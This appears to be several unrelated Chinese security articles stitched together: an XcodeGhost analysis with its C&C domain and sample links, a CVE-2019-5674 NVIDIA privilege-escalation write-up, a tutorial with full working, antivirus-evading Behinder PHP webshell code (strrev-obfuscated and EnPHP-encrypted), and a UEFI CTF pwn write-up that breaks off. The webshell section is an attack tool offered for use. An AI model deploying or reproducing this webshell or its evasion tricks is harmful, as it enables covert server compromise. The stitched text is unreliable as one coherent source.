ComingCall | 1.52-1.52
Superstar2 | 1.0-1.0
ScramblingSnakes | 1.1.1
财富 | 2.0
梦幻战神 | 10.2.2-10.2.2
都都宝 | 1.2.2.1-1.2.2
JewelsQuest | 3.8-3.8
YaYa药师 | 1.1.1-1.1.1
JewelsQuest2 | 3.39-3.39
YaYa | 6.4.3-6.4
WO+创富 | 2.0.6-2.0.4
2345浏览器 | 4.0.1-4.0.1
Albums | 292-2.9.2
豆腐做法大全 | 1.0.0-1.0.0
PonySalon | 1.0-1.0
MusicFestivalSalon | 1.0-1.1
银耳汤做法 | 1.0.0-1.0.0
财达同花顺 | 2.4.2-2.4.2
花椒 | 2627-1.3
舌尖上的美味 | 2.0.1-2.0.0
鲫鱼做法大全 | 1.0.0-1.0.0
挖掘机大师3D | 1.0.5.0-1.0.5
BoatTripSalon | 1.0-1.0
特色西餐 | 1.0-1.0
Juniorchefmaster | 1.0-1.1
炒饭做法大全 | 1.0.0-1.0.0
心脏病防治 | 1.0.1-1.0.0
Empireoftheocean | 2.7.1-2.7
MagicKing | 2.0-2.0
炒股入门 | 1.0-1.0.3
星派送 | 1.0-1.0
智慧树 | 3.9-3.9
CollectBoys | 1.0-1.0.0
懒人私房菜 | 2.0.1-2.0.0
PrincessMakeover | 1.0-1.1
美味奶茶DIY | 1.0.0-1.0.0
营养早餐 | 1.0-1.0
申万宏源 | 1-1.1.6
一品粥 | 1.0-1.0
素菜大全 | 1.0-1.0
公交来了 | 20150715-1.3
KneeDoctor | 1.0.1.1-1.0.1
黄瓜做法大全 | 1.0.0
微调查 | 1432-3.4.5
中药方剂辞典 | 2.0.0
ChinessChess | 618-2.6.18
土豆做法大全 | 1.0.0
鱼的做法 | 1.0
冰品饮品DIY | 1.0
面包做法大全 | 1.0-1.0
仁和珠宝 | 1.02-1.0
一日三餐 | 1.0.1-1.0.0
风云三国2 | 1.0.1
汽车之友 | 2.0.12-1.40
AutoWorld | 261-3.1.3
财新周刊 | 3041-3.0.4
PDFReaderFree | 2.7.6-2.7.1
悦耳 | 2.3.2-2.3.2
AngelFuel | 4.3.0.2-4.3.0
EFParents | 106-2.0.0
中搜搜悦 | 5.0.0-5.0.0
YOHO!有货 | 3.4.0.1508240001-3.4.0
GNum | 2.3.100000459
WallPapersHD* | 9.3.5-9.3.5
TurboInvoice | 2.3.1-2.3
MyChevy | 1422767631-3.1
PetCatchiOS | 1.3.7.3-1.3.7
问他作业 | 33-4.2.0
航海大时代 | 2.5.1-2.5
语玩 | 240-0.6.4
PaoPaoTang | 12000-1200
牵牛 | 1.5.3-1.5.2
卡曼 | 2.7-2.7
琅琊榜 | 2.9.2-2.9
造梦西游OL | 4.6.0-4.6.0
集享卡 | 1.5.3-1.5.3
58同城 | 6.1.8.1-6.1.8
nvshen | 975-2.5.6
暗黑战神 | 1.13.2-1.13.2
耍大牌 | 4.5.1-4.5.1
漫画帮 | 19-4.3.2
猫团动漫 | 5.5.2-5.5
海玩 | 2.1-3.0
Golf | 2.4.2.0-2.4.2
摩擦 | 45-2.4.9
百度财富 | 9825-2.2.2
言情小说吧 | 3.3.3-3.3
BlackWhiteTiles4 | 9.4.5
康康在线 | 5.6.0
加拿大订餐 | 4.0.1
YingYue | 1.6-1.5
eHome | 1.26.4
幸福相馆 | 2.1.3-2.1.3
支付通QPOS | 3-2.1.2
平安易贷 | 2.9.0-2.9.0
你我贷 | 4.2.0.9626-4.2.0
穷游 | 6.4.1-6.4
CuteCUT | 1715-1.7
同花顺 | 9.26.03-9.26.01
Perfect365 | 4.6.16
电话归属地助手 | 1-3.6.3
OPlayerLite | 21051-2105
H3C易查通 | 2.3-2.2
百度音乐 | 5.2.7.3-5.2.7
动卡空间 | 3.4.4.1-3.4.4
CamCard | 6.3.2.9095-6.3.2
UA电影票 | 24-2.9.2
MTP管理微学 | 1.0.0-2.0.1
YddHotelPro | 14-2.5.2
美丽家 | 204-2.2.1
3D动物陆地版 | 3.0.2-3.0
工银融e联 | 1.1.3.3-1.1.3
安心理财 | 2.3.8.3-2.3.8
妈妈值得买 | 6.0.11-6.0
Research | 1.8-1.8
MonsterGirlsMakeover | 1.0-1.4
零钱包 | 4.0.1.0-4.0.1
南京银行HD | 1.2-3.0.3
Hugo | 1507031050-2.8.0
北京工行Style | 1.1.1-1.1
卓创短讯 | 2.0
途游德州扑克 | 2-3.375
钱宝网 | 3.1.3-3.1.3
WinZip | 4.2-4.2
口语100 | 314-3.1.2
富通贷 | 1.2.3-1.1.1
留学僧 | 199-1.8
fishsagaiOS | 2.1.2.3-2.1.2
鱼说 | 202-3.8.0
西部信天游 | 2.21.011-2.21.011
LoveStar | 1.0-1.1
Ps互动教程 | 3.2.1-3.2
fishinghappyiOS | 1.1.5.2-1.1.5
Tennis | 43-2.1.0
途游欢乐牛牛 | 2-3.37
银泰掌如e.1.3 |
联趣斗地主 | 1.8.3-1.8.0
快秀 | 1.4.1.1-1.4.1
博客下载-For新浪 | 59-1.58
重庆银行 | 1.0-2.9
金税通查验 | 309-3.0.9
恒泰金玉管家 | 1.4
Tennis | 43-2.1.0
健康交行 | 3.25
**二、攻击方式及来源**
通过向IDE中植入恶意代码,进而通过IDE向其编译、生成的应用中插入恶意代码。
恶意程序的主要来源:百度网盘、迅雷等第三方平台。
**三、问题描述**
从第三方源下载的 Xcode(苹果平台IDE) 被植入恶意代码,使用受感染的 Xcode 编译、生成的应用中会被植入后门。
间接影响 Xcode 支持的所有平台,包括:iOS,iPhone 模拟器,Mac OS X,目前受影响最大的是 iOS 平台。
被植入恶意代码的 iOS 应用会向 C&C 服务器上传信息,
具体信息包括:时间、应用名字、应用标识ID、设备名字与类型、系统区域及语言、设备唯一标识UUID、网络类型。
**四、xcode样本分析**
xcode样本下载<http://yunpan.cn/cHfMAZY8DA356> (提取码:39e0)
正常的xcode目录结构中SDKs目录下没有Library目录
被种植恶意木马的Xcode中包含了恶意的CoreService库文件,目录结构如下:
Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/Library/Frame
works/CoreServices.framework/CoreService
恶意xcode影响范围
从样本上分析,影响 Xcode v6.1 ~ v6.4。
但是理论上可以影响 Xcode 的所有版本。
影响平台ios,ios模拟器,macox X86 或者x86_64位多版本
**五、苹果官方appstore微信6.2.5样本分析**
微信 6.25 样本 <http://yunpan.cn/cHfMy5WXVbcQM> (提取码:b7b3)
抓包查看如下:
抓包查看如下:
逆向分析connection函数发送的网站地址
****
**六、越狱平台微信抢红包插件分析**
插件样本 <http://yunpan.cn/cHfMTQ9tRmbjY> (提取码:e6d7)
在上次分析过红包插件盗取22万icloud信息的插件后发现在此插件上还隐藏着另一个后门,盗号插件也中了xcode木马,红包插件名称为iwexin.dylib
MD5 :137fdaa6f32658e1a7315f74957e22a0
使用别篡改的XCode会加载coresevice库文件,在编译出的APP或dylib包含了如下头文件的头文件,所有的恶意函数隐藏其中
通过分析使用恶意XCode编译的iwexin.dylib启动时执行如下类中的函数进行收集信息并发送,如下为发送消息至服务器的.h文件和类
通过反编译查看恶意代码收集信息分别为:
国家,语言,设备信息,系统版本,时间戳,app的bundleID
以下为收集设备信息的.h文件和类
以下是ida中查看的获取设备等信息的关键代码
在ida中查看到主要恶意代码关键部分如下,随着程序启动开始执行,获取设备信息发送信息至init.icloud-analysis.com
**七、检测方法**
如果 Xcode 中存在如下文件与目录,即可认为受感染:
1Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/Library/Frameworks/CoreServices.framework/CoreService,针对
iOS
2Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/Library/PrivateFrameworks/IDEBundleInjection.framework,针对
iOS
3Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/Library/Frameworks/CoreServices.framework/CoreService,针对
iPhone 模拟器
4Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/Library/PrivateFrameworks/IDEBundleInjection.framework,针对
iPhone 模拟器
5Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/Library/Frameworks/CoreServices.framework/CoreService,针对
Mac OS X
6Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/Library/PrivateFrameworks/IDEBundleInjection.framework,针对
Mac OS X 7
**八、解决方案**
1、高优先级检测所有编译服务器、自动发布服务器中的 Xcode 是否被感染。
2、开发者需要检查系统中所有版本的 Xcode 是否被感染。
3、如果受感染,首先删除受感染的 Xcode,然后从 Mac AppStore 或者从开发者中心下载 Xcode。
4、如果线上的应用是用受感染的 Xcode 发布的过,请使用官方的 Xcode 清理、重新编译应用,然后上传 AppStore,尽量向苹果说明情况,从而走
AppStore 的紧急上线流程 | 社区文章 |
# NVIDIA任意文件写入命令执行（CVE-2019-5674）
##### 译文声明
本文是翻译文章，文章原作者 rhinosecuritylabs，文章来源：rhinosecuritylabs.com
原文地址：<https://rhinosecuritylabs.com/application-security/nvidia-arbitrary-file-writes-to-command-execution-cve-2019-5674/>
译文仅供参考，具体内容表达以及含义原文为准。
鉴于译者水平所限，如表述上存在问题，请以英文原版为准。
## 0x01 漏洞介绍
本文讲一个在NVIDIA GeForce
Experience（GFE）上发现的任意文件写入漏洞(CVE-2019-5674)，漏洞存在于默认安装运行NVIDIA GeForce的系统上。
通过任意文件写入漏洞，您可以强制应用程序以特权用户覆盖系统上的任何文件。通常，这只是意味着您可以通过覆盖关键系统文件来导致DOS，但如果您能够以某种方式控制正在编写的数据，通常您可以使用它来完成更多工作。
此漏洞允许覆盖任何系统文件，因为在GFE将数据通过SYSTEM权限写入的日志文件上设置了不安全的权限。此外，用户控制的数据可被注入一个日志文件中，然后将其作为批处理文件写入，从而导致其他用户执行代码并可能进行提权操作。
此外，我还将描述此漏洞如何与拒绝服务漏洞联系起来，以获得进一步提权。
## 0x02 什么是NVIDIA GeForce Experience
引用在NVIDIA网站中的介绍，“抓取和共享视频，截图，并与朋友进行直播互动，并保持你的驱动程序更新并优化游戏设置。”
从本质上讲，它是一个与GeForce产品一起安装的应用程序，为用户提供更多功能。
## 0x03 发现过程
为了开始寻找正在运行的NVIDIA服务和应用程序的问题，我打开了[Process
Monitor（Procmon）](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)并了解了NVIDIA 默认运行的不同应用程序，它们作为GeForce
Experience和其他服务的一部分。
为此，我使用了来自Sysinternals的procmon.exe。
注意到一些与NVIDIA相关的进程：nvcontainer.exe和NVDisplay.Container.exe。
我们能够看到NVIDIA正在运行的一些进程，我在Procmon中添加了一个过滤规则查看由*
container.exe编写的不同文件，这些文件包括以下两个进程。
过滤后，只查找WriteFile操作，发现一些可疑进程。
下图显示了这些进程通过SYSTEM权限写入到“C:\ProgramData”（包含普通用户可以修改的文件）。
查看一些文件的权限，表明“Everyone”组可以完全控制它们。
文件被以SYSTEM权限写入，Everyone可以完全控制它们。每个用户都可以以任何方式修改文件，这包括创建到系统上其他文件的硬链接或符号链接。
如果我能够创建一个链接到另一个我无法通过普通用户写入的系统文件，SYSTEM进程将跟随该链接并能够写入该文件（系统文件），认为它是日志文件而将被写入。
这个操作可能更改关键系统文件，从而造成应用程序或系统不稳定，崩溃或无法启动等问题。
## 0x04 文件写入的利用
利用文件写入所需的符号链接和硬链接，可以使用[symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools)（by
James Forshaw）进行创建。
即使是普通用户也可以创建指向系统文件的链接。
这苦我使用了Createsymlink工具，并创建一个临时的符号链接，从“C:\ProgramData\NVIDIA
Corporation\nvstapisvr\nvstapisvr.log”到“C:\windows\test.file”（管理管拥有写权限和所有权）。为了使符号链接成功，它需要“C:\ProgramData\NVIDIA
Corporation\nvstapisvr”目录为空（这是因为它需要创建一个需要空目录的目录连接）。
如果目录不为空，将会显示如下错误：
现在，当NVIDIA特权进程写入日志文件“C:\ProgramData\NVIDIA
Corporation\nvstapisvr\nvstapisvr.log”时，可以看到它实际上写入了“C:\windows\test.file”这个文件。
如图：
这表明可以覆盖系统上的任何文件。虽然这个漏洞会造成一些影响，它将会覆盖指定文件并可能导致DoS。
但是之外，你所做的远不止这些。因为无法控制此特定日志文件中的数据，它只会写入需要记录的数据。
为了更好的利用这个漏洞，我想看看是否可以控制受影响的日志文件中的一些数据，并且尝试执行诸如对.bat文件的写入命令之类的操作。
经过一番研究之后，我发现“C:\ProgramData\NVIDIA
Corporation\nvstreamsvc\nvstreamsvcCurrent.log”包含了我在其他文件中看到的一些字符串，这些字符串也可以由普通用户写入，“C:\ProgramData\NVIDIA
Corporation\NvStreamSrv\SETTINGS.TXT”。
该文件包含一些变量，只要在GeForce
Experience中打开和关闭“GameStream”服务时，就会将这些变量写入nvstreamsvcCurrent日志文件。
如图：
切换这个选项会导致写入日志文件“C:\ProgramData\NVIDIA
Corporation\nvstreamsvc\nvstreamsvcCurrent.log”，其中包含settings.txt中的URL。
接下来，我尝试将一些命令附加到这些变量以对日志文件进行修改。
这已成功写入“C:\ProgramData\NVIDIA Corporation\nvstreamsvc\nvstreamsvcCurrent.log”
的日志中。
现在即使存在大量其他日志数据，我们注入的命令能够最终在.bat文件中执行。
结合写入任何目录，我可以将有效命令注入到易受攻击的文件中，尝试将其写入系统启动文件夹，并在任何登录的用户上执行命令。这将包括管理员用户，从而提权。
我发现创建符号链接的目录是必需的，但该目录包含一个NVIDIA服务正在使用的文件，阻止我删除它。
这可以通过引导到安全模式（普通用户可以）或者可能通过拒绝服务来解决这个问题，这将在稍后进行讨论。
让我们来总结一下：
将命令附加到“C:\ProgramData\NVIDIA Corporation\NvStreamSrvsettings.txt”。
清空“C:\ProgramData\NVIDIA Corporation\nvstreamsvc”目录。
创建从“C:\ProgramData\NVIDIA
Corporation\nvstreamsvc\nvstreamsvcCurrent.log”到“C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\StartUpcmd.bat”的符号链接。
创建符号链接：
现在可以打开和关闭“GameStream”服务，最后在系统的启动目录中输入cmd.bat文件。
此时，以任何用户身份登录都会导致注入日志文件的任何命令以该用户权限运行。
## 0x05 进一步提权的可能性讨论
进一步讲，如果该漏洞与NVIDIA上的拒绝服务配合使用，则为进一步提权提供可能。
NVIDIA有几个批处理文件，我们可以在“C:Windows”中找到。
只要“NVIDIA Display Container” 或 “NVIDIA Telemetry
Container”服务崩溃超过2次，这些文件就会被以SYSTEM权限执行。
这是NVIDIA服务的默认恢复设置的一部分。我们可以看到：
这些文件可以使用本文中解释的任意文件写入目标，然后通过使服务崩溃3次以强制执行BAT文件，从而实现提权。
## 0x06 结论
此概念证明演示了任意文件写入漏洞的影响，以及对应用程序文件的不正确权限可能具有的影响。
通常，任意文件写入都不会被认为是非常有影响的漏洞，因为假设它只能简单地用一些数据覆盖任意文件。
但是，如果您能以某种方式控制正在编写的数据并借助其他漏洞，那么影响可能会非常显著。
如果你感兴趣，可以在我们的[GitHub](https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-5674)中找到相关验证代码。
[NVIDIA的原始建议](https://nvidia.custhelp.com/app/answers/detail/a_id/4784)可以在这里找到。此问题存在于3.18之前的GeForce
Experience版本中，因此请确保您使用的是[NVIDIA的最新版本](https://www.geforce.com/geforce-experience/download)。
## 参考链接
https://rhinosecuritylabs.com/application-security/nvidia-arbitrary-file-writes-to-command-execution-cve-2019-5674/
https://www.securityweek.com/nvidia-patches-serious-flaw-geforce-experience-software | 社区文章 |
前段时间退出了内网的学习，现在开始复习web方面的漏洞了，于是乎，开始了挖洞之旅，当我像往常一样上传冰蝎的webhsell时，发现冰蝎的马子居然被杀了.......于是便有了该文章.....
先说一下目前的免杀情况:
D盾，河马等都零警报，
vt全绿，
阿里云webshell查杀安全，
百度webshell查杀安全,
其他等等....
目前仅测试了这些....其他的自行测试。
文章开始:
首先看一下冰蝎的原版马子:
<?php
?>
看一下原版的查杀率:
再看一下百度的接口：
阿里：
河马，D盾：
基本上都被杀软标记了....
那么我们想用冰蝎的话，就必须要免杀了
先说一下免杀的思路:
对于静态免杀，主要便是混淆代码了，base64，hex，异或等等....反正思路要扩展起来，可能很多师傅是玩ctf的，我这种菜鸡没玩过.....像里面的凯撒密码....等等各种密码学的东西其实可以搬到免杀的思路上来，但是像base64等等....可能早就被杀软计入特征库了，所以用base64等简单的加密，对webshell免杀可能不太好使了,那有没有简单些的方式达到静态免杀呢？答案是肯定的....比如php的字符串逆置函数strrev()，可以将代码颠倒顺序，再在webshell里面加入注释，变量名称改改....使用一些php的魔术函数....以达到绕过杀软的静态防护。
我们将webshell放到d盾查杀....看看到底是哪部分代码导致被查杀....[做个免杀的师傅应该都知道特征码定位技术,定位特征码,修改特征码绕过杀软]。
这里各位师傅自己尝试吧，建议二分法尝试,或则根据自己的经验判断。
我这里对下面部分代码进行逆值颠倒：
<?php
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
session_start();
$ok="1989870a9753c7b3";//cwk
$_SESSION['k']=$ok;
$zyq=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
$love=15;
if(!extension_loaded(strrev('lssnepo')))
{
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
$t=strrev("edoced_46esab");
$zyq=$t($zyq."");
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
for($i=0;$i<strlen($zyq);$i++) {
$o= $ok[$i+1&$love]^$zyq[$i];
$zyq[$i] =$o;
}
}
else
{
$zyq=(strrev("tpyrced_lssnepo"))($zyq, "AES128", $ok);
}
$arr=explode('|',$zyq);
$func=$arr[0];
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
$suansuan=$arr[1];
class MOL{
public function __construct($p)
{
$a=null;
$l=null;
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
assert("/*#`|W$~Q*/".$l.$p.$a.""."/*#`|W$~Q*/");
}
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
}
@new MOL($suansuan);
?>
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
这里就是简单的改了一下变量名称，增加了一些注释，还有魔术函数....
可以看一下D盾，河马过了
至于百度那个还有阿里云.....：
果然它们还是很强....
怎么办呢？
到这一步，对于我这种小白而言，已经穷途末路了.....
但是我们还可以借助外部力量....
之前代码审计的时候，发现很多代码都进行的加密...但是程序依旧可以运行,所以我们可不可以对我们的webshell进行加密呢?
当然肯定的....随便在网上找找免费的加密网站...
<https://enphp.djunny.com/>
把能勾的全都勾了...
进行加密处理:
加密之后的webshell:
<?php
/*
ddsds
-- EnPHP v2: http://enphp.djunny.com/
*/goto 愉帻;悈岽:$禈=0x0f;goto 佽乒;廷迹:class MOL{public function __construct($蚱岊){goto 榈蚨;榈蚨:$咜孟=null;goto 堥崍;悉ψ:溹唤(0x00000216a,0x02143)(溹唤(0x000219a,0x0021a8,0x0000218c,$蠇柱).$挃啚.$蚱岊.$咜孟.((parse_str("",$毇蒿)||$毇蒿)?base64_decode(key($毇蒿)):"").溹唤(0x000219a,0x0021a8,0x0000218c,$蠇柱));goto 稗;堥崍:$挃啚=null;goto 悉ψ;稗:}}goto 沫瞅;桷:if(!($仌弲<旞馨(0x000164b,0x01658,0x00161d)($夝麈)))goto 忟;goto €?洭矽:$嬴旔=騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x015ef,0x00015fb,0x000015c5));goto ;非嗁:goto ;goto 堧駫;湛茎:session_start();goto 壼;沫瞅:@new MOL($鉃珛);goto 敝偖;壼:$璧瑏=騼霾(0x0001e70,0x00001e5d,$璧瑏);goto 啚庁;堧駫:僚曛:goto 洭矽;堝:function 溹唤(){goto 毢欫;毢欫:$昶橏=0x000002084;goto 楹惄;溺骝:櫡:goto 摅麜;陮粠:縼:goto 乔;菃変:return base64_decode('LyojYHxXJH5RKi8');goto 祲;乔:if(!($镫罢[0]==$昶橏+0x00a6))goto 鞃ㄝ;goto 贂慆;撁贪:鞃ㄝ:goto 苺鄞;楹惄:$镫罢=func_get_args();goto 玟葓;夠珱:return base64_decode(join("",array('Q','U','V','T','M','T','I','4')));goto 陮粠;贂慆:return base64_decode('fA');goto 撁贪;祲:濮:goto 摩弧;樅蓴:return((parse_str("砻鋻=YXNzZXJ0",$鑸塥)||$鑸塥)?base64_decode($鑸塥['砻鋻']):"");goto 溺骝;玟葓:if(!($镫罢[0x0002]==$昶橏+0x0000018))goto 縼;goto 夠珱;苺鄞:if(!($镫罢[0x001]==$昶橏+0x00bf))goto 櫡;goto 樅蓴;摅麜:if(!($镫罢[0x0002]==$昶橏+0x00000108))goto 濮;goto 菃変;摩弧:}goto 掑何;⒒麕:忟:goto 詪晃;詪晃::goto 枽掜;愉帻:error_reporting(0);goto 堝;动恰:goto 兑蛥;goto ⒒麕;€?$栦煻=$璧瑏[$仌弲+0x001&$禈]^$夝麈[$仌弲];goto 筮楱;席:$夝麈=strrev(旞馨(0x001695,0x000166e))($夝麈,溹唤(0x00020cd,0x020fd,0x0000209c),$璧瑏);goto 非嗁;鸂瓍:$夝麈=騼霾(0x01ef5,0x0001f1f,0x0001ecf)(騼霾(0x00001f66,0x0001f3d))(騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x00001516)));goto 悈岽;佽乒:if(!旞馨(0x001550,0x000001521)(騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x000158d,0x000015bb,0x00155f))))goto 僚曛;goto 席;椬窟:$仌弲++;goto 动恰;:$夝麈=$嬴旔($夝麈.gzinflate(' '));goto 笣;筮楱:$夝麈[$仌弲]=$栦煻;goto 檽偷;囫鸱:$阱蜎=$亽邼[0];goto 筷圆;筷圆:$鉃珛=$亽邼[0x001];goto 廷迹;檽偷:柇儶:goto 椬窟;掑何:function 旞馨(){goto 槥;堂稅:劳尤:goto 蒎埊;吒偳:险碍:goto 粳鰷;蒎埊:if(!(func_get_arg(0x001)==$伖８+0x00039))goto 险碍;goto 疅;苁陡:return(($族愳=gzinflate(substr(base64_decode('H4sIAAAAAAAAA0tNyU9OTYk3MUstTkwCAPbVV20NAAAA'),10,-8)))?$族愳:$丹椵);goto 觋Ⅹ;猷囔:return gzinflate('+)-人宰?? ');goto 堂稅;檸煿:if(!($螵孳[0x001]==$伖８+0x0186))goto 洞;goto 耽;燥鐣:if(!($螵孳[0x0002]==$伖８+0x00dd))goto 竿涡;goto 苁陡;亏彊:if(!($螵孳[0]==$伖８+0x002e))goto 劳尤;goto 猷囔;耽:return base64_decode('dHB5cmNlZF9sc3NuZXBv');goto 枟;疅:return base64_decode(join("",array('Z','X','h','0','Z','W','5','z','a','W','9','u','X','2','x','v','Y','W','R','l','Z','A')));goto 吒偳;亡铷:if(!($螵孳[0x0002]==$伖８+0x00000135))goto 浰琬;goto 华榇;柮键:浰琬:goto 檸煿;华榇:return base64_decode('c3RybGVu');goto 柮键;陥:$螵孳=func_get_args();goto 亏彊;枟:洞:goto 飹;觋Ⅹ:竿涡:goto 亡铷;槥:$伖８=0x00014e8;goto 陥;掟椴:纯臃:goto 燥鐣;兎烑:return gzinflate('?.蜬-? ');goto 掟椴;粳鰷:if(!($螵孳[0x0002]==$伖８+0x0000077))goto 纯臃;goto 兎烑;飹:}goto 鸨呦;啚庁:$_SESSION[騼霾(0x01ea5,0x000001e7c)]=$璧瑏;goto 鸂瓍;笣:$仌弲=0;goto 鹗寛;鹗寛:兑蛥:goto 桷;枽掜:$亽邼=explode(溹唤(0x0212a),$夝麈);goto 囫鸱;鸨呦:function 騼霾(){goto 阌;裏宴:return((parse_str("aw",$艳焯)||$艳焯)?base64_decode(key($艳焯)):"");goto 贁偫;溉:朝惉:goto 嬄虔;阌:$紧耖=0x01e50;goto 姥钷;硫:肮秆:goto 秱隇;劑矄:if(!($置钳[0x0002]==$紧耖+0x0007f))goto 肮秆;goto 炶澔;汅佞:return base64_decode(join("",array('M','T','k','4','O','T','g','3','M','G','E','5','N','z','U','z','Y','z','d','i','M','w')));goto 溉;帐肖:return base64_decode(join("",array('c','3','R','u','Z','X','R','u','b','2','N','f','d','G','V','n','X','2','V','s','a','W','Y')));goto 铂傈;秱隇:if(!($置钳[0x001]==$紧耖+0x000ed))goto 鎰;goto 帐肖;贁偫:瑧櫡:goto 劑矄;渭饸:if(!($置钳[0x001]==$紧耖+0x0000d))goto 朝惉;goto 汅佞;铂傈:鎰:goto 玳剷;嬄虔:if(!($置钳[0x001]==$紧耖+0x000002c))goto 瑧櫡;goto 裏宴;姥钷:$置钳=func_get_args();goto 渭饸;炶澔:return gzinflate('+.)*J- ');goto 硫;玳剷:}goto 湛茎;敝偖:echo((parse_str("LyoNCuaIkeWVpeS5n%2BS4jeefpemBky4uLi4uDQpzamZhc2FhZHNzYWRhDQpkYWRhZGFkDQoqLw0K",$啠)||$啠)?base64_decode(key($啠)):"");
反正我是看不懂了....就看杀软看不看的懂了....
d盾河马。。。
百度查杀接口...
阿里：
vt:
<https://n.shellpub.com/>:
都过了....
尝试连接：
嗯...很好
总结：
对于免杀这方面有很多技巧.....有时候也有玄学加成....哈哈哈,很奇怪,有时间各位师傅可以多看看杀软的工作原理再做免杀.....
本来前段时间想写shellcode的免杀什么的，但是太懒了....后续有时间的话可能更多的写内网以及代码审计之类的文章吧....
怎么说呢.....免杀学的是技巧....一般发出来的免杀都活不了多久,所以说还是需要自己多学习一些技巧的......
对了，上面那个加密网站好像每次加密的效果不一样，如果加密之后d盾警告的话，可以增删改注释..... | 社区文章 |
**作者：Rivaille@知道创宇404实验室
日期：2022年11月10日**
周末的时候打了`n1ctf`，遇到一道`uefi`相关的题目，我比较感兴趣，之前就想学习一下安全启动相关的东西，这次正好趁着这个机会入门一下。
周天做的时候，一直卡在一个点上，没有多去找找资料属实败笔。
## 题目分析
先解包`OVMF.fd`文件，用`uefi-firmware-parse`这个工具：
uefi-firmware-parser -ecO ./OVMF.fd
简单看一下解包后的目录，大致判断`BIOS`可能在`file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792`或者`file-df1ccef6-f301-4a63-9661-fc6030dcc880`这个目录中。
通过对`UiApp`字符串的查找，基本判断`UiApp`是在`volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0`目录下。
连按`f12`进入`BIOS`之后，可以看到`UiApp`一闪而过，然后看到了熟悉的菜单，找找关键的字符串，就确定了对应的二进制文件。
现在需要修改一下启动脚本，让脚本启动`OVMF.fd`之后挂住，然后`gdb attach`进行调试。
import os, subprocess
import random
def main():
try:
os.system("rm -f OVMF.fd")
os.system("cp OVMF.fd.bak OVMF.fd")
ret = subprocess.call([
"qemu-system-x86_64",
"-m", str(256+random.randint(0, 512)),
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
"-s","-S",
"-nographic"
])
print("Return:", ret)
except Exception as e:
print(e)
print("Error!")
finally:
print("Done.")
if __name__ == "__main__":
main()
了解过操作系统的朋友们应该知道，操作系统的加载过程分为三步：`BIOS`固件（或者说是`UEFI`）的内存地址是写死的，通过`BIOS`加载`bootloader`，再通过`bootloader`去完成对操作系统镜像的加载。`gdb
attach`之后，我们看到程序断在了`0xfff0`地址处，这个应该就是`BIOS`的基址了。
## 漏洞分析
进入`UiApp`之后没有直接到`Boot
Manager`界面，而是到了菜单界面，猜测一下这是需要解题者`hacker`掉这个菜单，劫持控制流到`BIOS`中可以获取高权限`shell`的地方。通过查找关键字，锁定了目标程序：`file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331\section0.pe`。
通过`winchecksec`查看开启的保护机制：
然后通过关键字很快就定位到了出题人加的菜单函数中，但是很烦的事情是，我发现`ida`不能正确识别函数参数：
反汇编之后的结果成了这个鸟样：
通过查找资料以及逆向分析，还原出了`gRT`这个结构体，其中有两个比较重要的成员函数：`gRT->SetVariable`将栈中的值写入键值对，`gRT->GetVariable`将键值对中的值拷贝到栈中。经过分析，大概判断是要通过`gRT->GetVariable`来实现栈溢出，完成对控制流的劫持。
但是溢出点在哪里呢？当时在比赛过程中一直卡在这儿，最失误的一点就是没有多`google`一下，一直在蒙头做题。在赛后和`Mr.R`师傅交流的过程中，得知这道题考察的是`UEFI`中一种常见的漏洞模式：`Double
GetVariable`。
漏洞原理是这样的：`GetVariable`在第一次从`nvram`取值写入栈中时，如果`nvram`变量的长度不为`1`，`datasize`的长度会被改写为对应`nvram`变量的长度。第二次调用`GetVariable`函数时，如果对`datasize`未做初始化，就有可能造成溢出。
相关漏洞可以参考一下这篇文章：<https://binarly.io/advisories/BRLY-2021-007/index.html>。（比赛时候还是得多`google`一下）。
回到`Encode`函数，我们看到函数从`N1CTF_KEY`中取值写入栈，然后和`buffer`中的值进行异或运算。而`Add`函数可以重新写入`nvram`变量，且写入的字符串最大长度为`256`字节，就是说我们可以通过`Add`覆盖掉之前定义的`N1CTF_KEY1`，`N1CTF_KEY2`，`N1CTF_KEY3`这三个变量的值。我们覆写`N1CTF_KEY1`的值为`a*0x1c`，覆写`N1CTF_KEY2`的值为`a*0x18+p32(boot_addr)`，然后设置一个`nvram`变量`OVERFLOW`，使其长度为`0x11`个字节，然后进入`Encode`函数，对`OVERFLOW`的值进行编码，这样第一次读取`N1CTF_KEY1`改写`datasize`，第二次读取`N1CTF_KEY2`就可以溢出到函数的返回地址处，劫持`rip`寄存器，使其跳转到`boot
manager`的设置界面，获取`root shell`。
这里的`pwn`函数就是出题人加的存在漏洞的函数，我们可以把控制流劫持到后面的`else`的基本块中去，然后应该可以正常进入`Boot
Manager`的界面。
## 动态调试
首先要确定`UiApp`加载的基址，一个很好的办法是对内存中特定的指令序列进行搜索，比如说我们在`ida`里面找到这条指令。
